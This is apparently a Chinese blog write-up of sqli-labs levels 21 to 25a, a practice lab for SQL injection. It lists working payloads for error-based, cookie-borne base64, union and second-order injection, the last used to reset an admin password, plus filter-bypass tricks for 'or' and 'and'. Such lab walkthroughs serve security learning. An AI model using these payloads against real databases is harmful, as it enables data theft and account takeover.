sqli-labs 21-25关

Less21

代码分析
在这里插入图片描述payload

D')and extractvalue(1,concat(0x7e,(select database()),0x7e))#

base64转码后:
RCcpYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgZGF0YWJhc2UoKSksMHg3ZSkpIw==

用burp抓第二个页面刷新重新获取cookie的数据包
在这里插入图片描述

Less22

代码分析
在这里插入图片描述

payload

RCJhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdlKSkj

在这里插入图片描述

Less23

代码分析
在这里插入图片描述

-1' union select 1,version(),'3
#使用-1是为了让第一个select语句查询为空值,从而显示后边的select语句查询的内容

在这里插入图片描述

Less24

本关是关于二次排序的示例
二次排序注入思路:

  1. 黑客通过构造数据的形式,在浏览器或者其他软件中提交 HTTP 数据报文请求到服务 端进行处理,提交的数据报文请求中可能包含了黑客构造的 SQL 语句或者命令。
  2. 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的 数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响 应。
  3. 黑客向服务端发送第二个与第一次不相同的请求数据信息。
  4. 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库 中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的 SQL 语句或者命令在服 务端环境中执行。
  5. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注 入漏洞利用是否成功。

此例中我们先注册一个admin#的账号,然后再修改密码

//pass_change.php第38行代码
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

注入过程:
$sql = "update users set password = 'payload' where username = 'admin#' and password='$curr_pass'";

1.先注册admin’#账户
在这里插入图片描述

2.登录后修改密码时可以改掉原本admin的密码

在这里插入图片描述
这个二次排序注入漏洞可以修改他人账户的密码。利用的是账号注册时过滤不严格,使用了sql语句中的注释符#,还可以使用–+

代码分析
在这里插入图片描述

Less25

代码分析:
在这里插入图片描述

' union select 1,database(),user()--+

在这里插入图片描述

不含or,and的语句可以注入成功。
使用报错语句时and,or绕过方法

1.大小写变形
2.双写绕过 oorr,aandnd
3.url,hex编码
4.添加注释/*or*/
5.利用符号 and=>&&   or=>||

报错注入绕过or示例

http://127.0.0.1/sqli-labs-master/Less-25/?id=1%27oorr%20extractvalue(1,concat(0x7e,@@datadir))--+

在这里插入图片描述

Less25a

代码分析
在这里插入图片描述
1.联合注入

-1 union select 1,database(),user()#

在这里插入图片描述
2.时间盲注

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值